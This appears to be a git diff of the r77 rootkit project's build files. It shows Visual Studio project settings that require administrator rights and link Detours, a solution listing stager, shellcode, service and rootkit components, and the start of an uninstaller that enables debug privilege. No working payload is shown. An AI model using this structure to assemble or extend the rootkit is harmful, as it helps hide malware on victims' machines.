a/vs/Uninstall/Uninstall.vcxproj +++ b/Uninstall/Uninstall.vcxproj @@ -21,13 +21,13 @@ Application true - v142 + v143 Unicode Application false - v142 + v143 true Unicode @@ -35,6 +35,7 @@ + @@ -52,20 +53,26 @@ Level3 - true + false WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreadedDebug + CompileAsC + false + Default - Console + Windows true RequireAdministrator + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) + EntryPoint + true "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper -mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" +mkdir "$(SolutionDir)$Build" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" @@ -73,28 +80,32 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" Level3 true true - true + false WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded + CompileAsC + false + MinSpace + Size - Console + Windows true true false RequireAdministrator + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) + EntryPoint + true "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper -mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" +mkdir "$(SolutionDir)$Build" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" - - - @@ -104,8 +115,7 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" - - + diff --git a/vs/Uninstall/Uninstall.vcxproj.filters b/Uninstall/Uninstall.vcxproj.filters similarity index 69% rename from vs/Uninstall/Uninstall.vcxproj.filters rename to Uninstall/Uninstall.vcxproj.filters index 6abf849..d08a424 100644 --- a/vs/Uninstall/Uninstall.vcxproj.filters +++ b/Uninstall/Uninstall.vcxproj.filters @@ -7,9 +7,6 @@ - - - @@ -20,7 +17,6 @@ - - + \ No newline at end of file diff --git a/vs/Uninstall/resource.h b/Uninstall/resource.h similarity index 100% rename from vs/Uninstall/resource.h rename to Uninstall/resource.h diff --git a/src/Uninstall64/Uninstall64.cpp b/Uninstall64/Uninstall64.c similarity index 75% rename from src/Uninstall64/Uninstall64.cpp rename to Uninstall64/Uninstall64.c index 7972046..532e974 100644 --- a/src/Uninstall64/Uninstall64.cpp +++ b/Uninstall64/Uninstall64.c @@ -1,10 +1,13 @@ -#include "Uninstall64.h" +#define CUSTOM_ENTRY +#include "r77def.h" +#include "r77win.h" +#include "r77process.h" // Uninstall64.exe is extracted and executed by Uninstall.exe -int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR commandLine, int cmdShow) +int main() { - InitializeApi(INITIALIZE_API_SRAND | INITIALIZE_API_DEBUG_PRIVILEGE); + EnabledDebugPrivilege(); // Delete the stager executable from the 64-bit view of the registry. HKEY key; diff --git a/vs/Uninstall64/Uninstall64.vcxproj b/Uninstall64/Uninstall64.vcxproj similarity index 77% rename from vs/Uninstall64/Uninstall64.vcxproj rename to Uninstall64/Uninstall64.vcxproj index e992c9a..ce7e55f 100644 --- a/vs/Uninstall64/Uninstall64.vcxproj +++ b/Uninstall64/Uninstall64.vcxproj @@ -11,13 +11,7 @@ - - - - - - - + 16.0 @@ -30,13 +24,13 @@ Application true - v142 + v143 Unicode Application false - v142 + v143 true Unicode @@ -44,6 +38,7 @@ + @@ -54,21 +49,29 @@ true + false false + false Level3 - true + false _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreadedDebug + CompileAsC + false + Default - Console + Windows true + true + EntryPoint + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper @@ -80,16 +83,23 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)Uninstall\Resources" Level3 true true - true + false NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded + CompileAsC + false + MinSpace + Size - Console + Windows true true false + true + EntryPoint + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper diff --git a/Uninstall64/Uninstall64.vcxproj.filters b/Uninstall64/Uninstall64.vcxproj.filters new file mode 100644 index 0000000..fdd7d71 --- /dev/null +++ b/Uninstall64/Uninstall64.vcxproj.filters @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/vs/r77-x64/r77-x64.vcxproj b/r77-x64/r77-x64.vcxproj similarity index 68% rename from vs/r77-x64/r77-x64.vcxproj rename to r77-x64/r77-x64.vcxproj index d9bf03d..5dbe126 100644 --- a/vs/r77-x64/r77-x64.vcxproj +++ b/r77-x64/r77-x64.vcxproj @@ -10,30 +10,6 @@ x64 - - - - - - - - - - - - - - - - - - - - - - - - 16.0 Win32Proj @@ -45,13 +21,13 @@ DynamicLibrary true - v142 + v143 Unicode DynamicLibrary false - v142 + v143 true Unicode @@ -59,6 +35,8 @@ + + @@ -69,26 +47,32 @@ true + false false + false Level3 - true - EXPORT_REFLECTIVE_DLL_MAIN;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + %(PreprocessorDefinitions) true MultiThreadedDebug + false + CompileAsC + Default - Console + Windows true + ntdll.lib;shlwapi.lib;taskschd.lib;..\SlnBin\x64\detours.lib;%(AdditionalDependencies) mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" -echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)InstallService64\Resources\r77.dll" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" +echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)Service64\Resources\r77.dll" @@ -96,21 +80,26 @@ echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)InstallService64\Resources\r77 Level3 true true - true - EXPORT_REFLECTIVE_DLL_MAIN;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + %(PreprocessorDefinitions) true MultiThreaded + false + MinSpace + Size + CompileAsC - Console + Windows true true false + ntdll.lib;shlwapi.lib;taskschd.lib;..\SlnBin\x64\detours.lib;%(AdditionalDependencies) mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" -echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)InstallService64\Resources\r77.dll" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" +echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)Service64\Resources\r77.dll" diff --git a/r77-x64/r77-x64.vcxproj.filters b/r77-x64/r77-x64.vcxproj.filters new file mode 100644 index 0000000..9cd8510 --- /dev/null +++ b/r77-x64/r77-x64.vcxproj.filters @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/vs/r77-x86/r77-x86.vcxproj b/r77-x86/r77-x86.vcxproj similarity index 68% rename from vs/r77-x86/r77-x86.vcxproj rename to r77-x86/r77-x86.vcxproj index 37f3b3c..b221947 100644 --- a/vs/r77-x86/r77-x86.vcxproj +++ b/r77-x86/r77-x86.vcxproj @@ -10,30 +10,6 @@ Win32 - - - - - - - - - - - - - - - - - - - - - - - - 16.0 Win32Proj @@ -45,13 +21,13 @@ DynamicLibrary true - v142 + v143 Unicode DynamicLibrary false - v142 + v143 true Unicode @@ -59,6 +35,8 @@ + + @@ -69,26 +47,32 @@ true + false false + false Level3 - true - EXPORT_REFLECTIVE_DLL_MAIN;WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreadedDebug + false + CompileAsC + Default - Console + Windows true + ntdll.lib;shlwapi.lib;taskschd.lib;..\SlnBin\x86\detours.lib;%(AdditionalDependencies) mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" -echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)InstallService32\Resources\r77.dll" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" +echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)Service32\Resources\r77.dll" @@ -96,21 +80,26 @@ echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)InstallService32\Resources\r77 Level3 true true - true - EXPORT_REFLECTIVE_DLL_MAIN;WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded + false + MinSpace + Size + CompileAsC - Console + Windows true true false + ntdll.lib;shlwapi.lib;taskschd.lib;..\SlnBin\x86\detours.lib;%(AdditionalDependencies) mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" -echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)InstallService32\Resources\r77.dll" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" +echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)Service32\Resources\r77.dll" diff --git a/r77-x86/r77-x86.vcxproj.filters b/r77-x86/r77-x86.vcxproj.filters new file mode 100644 index 0000000..9cd8510 --- /dev/null +++ b/r77-x86/r77-x86.vcxproj.filters @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/r77.sln b/r77.sln new file mode 100644 index 0000000..2181b7e --- /dev/null +++ b/r77.sln @@ -0,0 +1,304 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.1.32328.378 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestConsole", "TestConsole\TestConsole.csproj", "{E55F7214-8CC4-4E1D-AEDB-C908D23902A4}" + ProjectSection(ProjectDependencies) = postProject + {06AF1D64-F2FC-4767-8794-7313C7BB0A40} = {06AF1D64-F2FC-4767-8794-7313C7BB0A40} + {1BA54A13-B390-47B3-9628-B58A2BBA193B} = {1BA54A13-B390-47B3-9628-B58A2BBA193B} + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F} = {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F} + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F} = {78BB6D02-6E02-4933-89DC-4AD8EE0B303F} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "r77-x64", "r77-x64\r77-x64.vcxproj", "{06AF1D64-F2FC-4767-8794-7313C7BB0A40}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "r77-x86", "r77-x86\r77-x86.vcxproj", "{1BA54A13-B390-47B3-9628-B58A2BBA193B}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Uninstall", "Uninstall\Uninstall.vcxproj", "{F0005D08-6278-4BFE-B492-F86CCEC797D5}" + ProjectSection(ProjectDependencies) = postProject + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0} = {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0} + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Uninstall64", "Uninstall64\Uninstall64.vcxproj", "{00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}" + ProjectSection(ProjectDependencies) = postProject + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} + EndProjectSection +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Example", "Example\Example.csproj", "{86F8C733-F773-4AD8-9282-3F99953261FD}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BuildTask", "BuildTask\BuildTask.csproj", "{AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Install", "Install\Install.vcxproj", "{BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}" + ProjectSection(ProjectDependencies) = postProject + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7} = {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7} + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Helper32", "Helper32\Helper32.vcxproj", "{2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}" + ProjectSection(ProjectDependencies) = postProject + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Helper64", "Helper64\Helper64.vcxproj", "{78BB6D02-6E02-4933-89DC-4AD8EE0B303F}" + ProjectSection(ProjectDependencies) = postProject + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Helper", "Helper\Helper.vcxitems", "{E6543F7A-4E58-4C55-975E-ED975481EBE8}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "r77api", "r77api\r77api.vcxitems", "{525FD9EB-628A-4D93-B320-3C1DFA0A216D}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "r77", "r77\r77.vcxitems", "{6E4BB100-C3C9-4CF7-A637-08C2482C6B94}" +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Global", "Global", "{054A9EE5-7740-4460-A561-D0AC8CF051EF}" + ProjectSection(SolutionItems) = preProject + Global\GlobalAssemblyInfo.cs = Global\GlobalAssemblyInfo.cs + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InstallShellcode", "InstallShellcode\InstallShellcode.vcxitems", "{DEAB25FD-2042-4BD6-BF4B-0802DCCC70F5}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Stager", "Stager\Stager.csproj", "{4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}" + ProjectSection(ProjectDependencies) = postProject + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA} = {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA} + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10} = {E3104B33-DB3D-4C83-B393-1E05E1FF2B10} + EndProjectSection +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Install", "Install", "{BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5}" +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "TestEnvironment", "TestEnvironment", "{75D5E6C6-38E6-4808-A81C-D237A7D2BEEB}" +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Uninstall", "Uninstall", "{48D99D12-84EF-4BB3-946F-1366B9AA60B3}" +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Rootkit", "Rootkit", "{1A7FBF3D-F6D4-41A5-93FE-118A940F9086}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Service", "Service\Service.vcxitems", "{46E171D4-1811-48BE-8867-A63C28761D28}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Service32", "Service32\Service32.vcxproj", "{7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}" + ProjectSection(ProjectDependencies) = postProject + {1BA54A13-B390-47B3-9628-B58A2BBA193B} = {1BA54A13-B390-47B3-9628-B58A2BBA193B} + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Service64", "Service64\Service64.vcxproj", "{E3104B33-DB3D-4C83-B393-1E05E1FF2B10}" + ProjectSection(ProjectDependencies) = postProject + {06AF1D64-F2FC-4767-8794-7313C7BB0A40} = {06AF1D64-F2FC-4767-8794-7313C7BB0A40} + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} + EndProjectSection +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|Any CPU = Release|Any CPU + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|Any CPU.Build.0 = Debug|Any CPU + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|x64.ActiveCfg = Debug|Any CPU + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|x64.Build.0 = Debug|Any CPU + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|x86.ActiveCfg = Debug|Any CPU + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|x86.Build.0 = Debug|Any CPU + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|Any CPU.ActiveCfg = Release|Any CPU + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|Any CPU.Build.0 = Release|Any CPU + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|x64.ActiveCfg = Release|Any CPU + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|x64.Build.0 = Release|Any CPU + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|x86.ActiveCfg = Release|Any CPU + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|x86.Build.0 = Release|Any CPU + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|Any CPU.ActiveCfg = Debug|x64 + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|Any CPU.Build.0 = Debug|x64 + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|x64.ActiveCfg = Debug|x64 + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|x64.Build.0 = Debug|x64 + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|x86.ActiveCfg = Debug|x64 + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|x86.Build.0 = Debug|x64 + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|Any CPU.ActiveCfg = Release|x64 + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|Any CPU.Build.0 = Release|x64 + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|x64.ActiveCfg = Release|x64 + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|x64.Build.0 = Release|x64 + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|x86.ActiveCfg = Release|x64 + {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|x86.Build.0 = Release|x64 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|Any CPU.ActiveCfg = Debug|Win32 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|Any CPU.Build.0 = Debug|Win32 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|x64.ActiveCfg = Debug|Win32 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|x64.Build.0 = Debug|Win32 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|x86.ActiveCfg = Debug|Win32 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|x86.Build.0 = Debug|Win32 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|Any CPU.ActiveCfg = Release|Win32 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|Any CPU.Build.0 = Release|Win32 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|x64.ActiveCfg = Release|Win32 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|x64.Build.0 = Release|Win32 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|x86.ActiveCfg = Release|Win32 + {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|x86.Build.0 = Release|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|Any CPU.ActiveCfg = Debug|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|Any CPU.Build.0 = Debug|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|x64.ActiveCfg = Debug|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|x64.Build.0 = Debug|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|x86.ActiveCfg = Debug|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|x86.Build.0 = Debug|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|Any CPU.ActiveCfg = Release|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|Any CPU.Build.0 = Release|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|x64.ActiveCfg = Release|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|x64.Build.0 = Release|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|x86.ActiveCfg = Release|Win32 + {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|x86.Build.0 = Release|Win32 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|Any CPU.ActiveCfg = Debug|x64 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|Any CPU.Build.0 = Debug|x64 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|x64.ActiveCfg = Debug|x64 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|x64.Build.0 = Debug|x64 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|x86.ActiveCfg = Debug|x64 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|x86.Build.0 = Debug|x64 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|Any CPU.ActiveCfg = Release|x64 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|Any CPU.Build.0 = Release|x64 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|x64.ActiveCfg = Release|x64 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|x64.Build.0 = Release|x64 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|x86.ActiveCfg = Release|x64 + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|x86.Build.0 = Release|x64 + {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|Any CPU.Build.0 = Debug|Any CPU + {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|x64.ActiveCfg = Debug|Any CPU + {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|x64.Build.0 = Debug|Any CPU + {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|x86.ActiveCfg = Debug|Any CPU + {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|x86.Build.0 = Debug|Any CPU + {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|Any CPU.ActiveCfg = Release|Any CPU + {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|Any CPU.Build.0 = Release|Any CPU + {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|x64.ActiveCfg = Release|Any CPU + {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|x64.Build.0 = Release|Any CPU + {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|x86.ActiveCfg = Release|Any CPU + {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|x86.Build.0 = Release|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|Any CPU.Build.0 = Debug|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|x64.ActiveCfg = Debug|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|x64.Build.0 = Debug|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|x86.ActiveCfg = Debug|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|x86.Build.0 = Debug|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|Any CPU.ActiveCfg = Release|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|Any CPU.Build.0 = Release|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|x64.ActiveCfg = Release|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|x64.Build.0 = Release|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|x86.ActiveCfg = Release|Any CPU + {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|x86.Build.0 = Release|Any CPU + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|Any CPU.ActiveCfg = Debug|Win32 + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|Any CPU.Build.0 = Debug|Win32 + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|x64.ActiveCfg = Debug|Win32 + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|x64.Build.0 = Debug|Win32 + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|x86.ActiveCfg = Debug|Win32 + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|x86.Build.0 = Debug|Win32 + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|Any CPU.ActiveCfg = Release|Win32 + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|Any CPU.Build.0 = Release|Win32 + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|x64.ActiveCfg = Release|Win32 + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|x64.Build.0 = Release|Win32 + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|x86.ActiveCfg = Release|Win32 + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|x86.Build.0 = Release|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|Any CPU.ActiveCfg = Debug|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|Any CPU.Build.0 = Debug|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|x64.ActiveCfg = Debug|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|x64.Build.0 = Debug|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|x86.ActiveCfg = Debug|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|x86.Build.0 = Debug|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|Any CPU.ActiveCfg = Release|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|Any CPU.Build.0 = Release|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|x64.ActiveCfg = Release|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|x64.Build.0 = Release|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|x86.ActiveCfg = Release|Win32 + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|x86.Build.0 = Release|Win32 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|Any CPU.ActiveCfg = Debug|x64 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|Any CPU.Build.0 = Debug|x64 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|x64.ActiveCfg = Debug|x64 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|x64.Build.0 = Debug|x64 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|x86.ActiveCfg = Debug|x64 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|x86.Build.0 = Debug|x64 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|Any CPU.ActiveCfg = Release|x64 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|Any CPU.Build.0 = Release|x64 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|x64.ActiveCfg = Release|x64 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|x64.Build.0 = 